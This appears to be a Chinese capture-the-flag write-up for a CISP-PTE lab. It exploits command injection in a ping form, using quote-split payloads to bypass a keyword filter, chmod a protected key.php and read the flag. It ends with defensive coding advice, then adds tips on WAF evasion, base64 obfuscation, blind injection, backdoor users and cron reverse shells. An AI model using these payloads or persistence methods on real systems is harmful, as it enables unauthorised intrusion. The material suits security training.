1. 靶场环境与命令执行漏洞概述
在网络安全实战训练中,命令执行漏洞(Command Injection)是最具破坏力的漏洞类型之一。这种漏洞允许攻击者通过Web应用直接向服务器操作系统注入恶意命令,获取系统级控制权限。本次实战的CISP-PTE靶场模拟了一个典型的命令执行漏洞场景,目标是通过精心构造的命令绕过过滤机制,最终读取受保护的key.php文件。
命令执行漏洞通常出现在以下场景:
- 调用系统命令的函数未做严格过滤(如PHP的system()、exec())
- 用户输入直接拼接进命令行
- 权限控制存在缺陷
靶场初始页面是一个简单的ping测试功能,输入框默认值为127.0.0.1。这个看似无害的功能点,正是我们突破系统防线的入口。
2. 初始探测与过滤规则分析
2.1 基础命令测试
首先尝试最基本的命令注入:
bash复制127.0.0.1 & ls
返回错误提示"你输入的命令包含敏感字符!",说明存在关键词过滤机制。通过多次测试发现以下特征:
- 分隔符检测:&、|、;等命令分隔符被监控
- 关键词黑名单:包含ls、cat、chmod等常见命令
- 路径限制:直接使用绝对路径/var/www/html会被拦截
2.2 绕过技术选择
针对这种过滤,我们采用命令混淆技术:
- 单引号插入:将命令拆分为含空单引号的片段(如l''s)
- 命令分割:使用合法IP地址作为"掩护"
- 渐进式探测:从简单命令开始逐步测试过滤规则
重要提示:在实际渗透测试中,这种手法可能触发WAF警报。建议配合延时执行等技术降低检测风险。
3. 完整渗透流程详解
3.1 目录结构探测
成功执行的payload:
bash复制127.0.0.1 & l''s
输出显示当前目录包含:
code复制function.php
index.php
通过find命令进一步确认目录结构:
bash复制127.0.0.1 & find ./
这种渐进式探测可以避免一次性触发过多告警。
3.2 关键文件定位
根据URL结构分析,目标文件应位于上级目录:
bash复制127.0.0.1 & l''s ..
发现关键文件key.php,但其权限设置异常:
code复制---------- 1 www-data www-data 48 Mar 18 2021 key.php
这种000权限意味着:
- 所有者、组、其他用户均无任何权限
- 即使是www-data用户也无法读取
- 明显是人为设置的防护措施
3.3 权限绕过技术
修改权限的标准命令被拦截:
bash复制127.0.0.1 & chmod 600 ../key.php
采用混淆变形后成功:
bash复制127.0.0.1 & chmo''d 600 ../key.ph''p
权限变更验证:
bash复制127.0.0.1 & l''s -la ../key.ph''p
输出显示权限已更新为:
code复制-rw------- 1 www-data www-data 48 Mar 18 2021 ../key.php
3.4 最终flag获取
读取文件内容同样需要命令混淆:
bash复制127.0.0.1 & ca''t ../key.ph''p
成功获取flag后,也可以通过浏览器开发者工具查看:
- 右键 → 检查元素
- 在Elements或Sources面板查找flag
4. 防御方案与加固建议
4.1 安全编码实践
-
输入验证:
- 使用白名单验证IP地址格式
- 禁止特殊字符(&、|、;等)
-
命令执行防护:
php复制// 不安全方式 system("ping ".$_GET['ip']); // 安全方式 $clean_ip = escapeshellarg($_GET['ip']); system("ping ".$clean_ip); -
权限控制:
- 遵循最小权限原则
- 关键文件设置只读权限
4.2 系统层防护
-
文件权限加固:
bash复制chattr +i /var/www/html/key.php # 添加不可修改属性 -
日志监控:
- 监控可疑命令执行
- 设置实时告警机制
5. 渗透测试中的实用技巧
-
命令混淆进阶:
- 使用变量替换:/b?n/c?t
- 编码变形:$(echo "Y2F0"|base64 -d)
-
盲注技术:
bash复制127.0.0.1 & sleep $(whoami|wc -c)通过响应时间判断命令执行结果
-
权限维持:
- 创建隐藏后门用户
- 部署定时任务反弹shell
在实际渗透测试项目中,每个步骤都应做好详细记录,包括:
- 尝试的payload
- 系统的响应
- 耗费的时间
- 突破的关键点
这种系统化的记录不仅有助于编写最终报告,也能帮助我们发现防御体系的薄弱环节。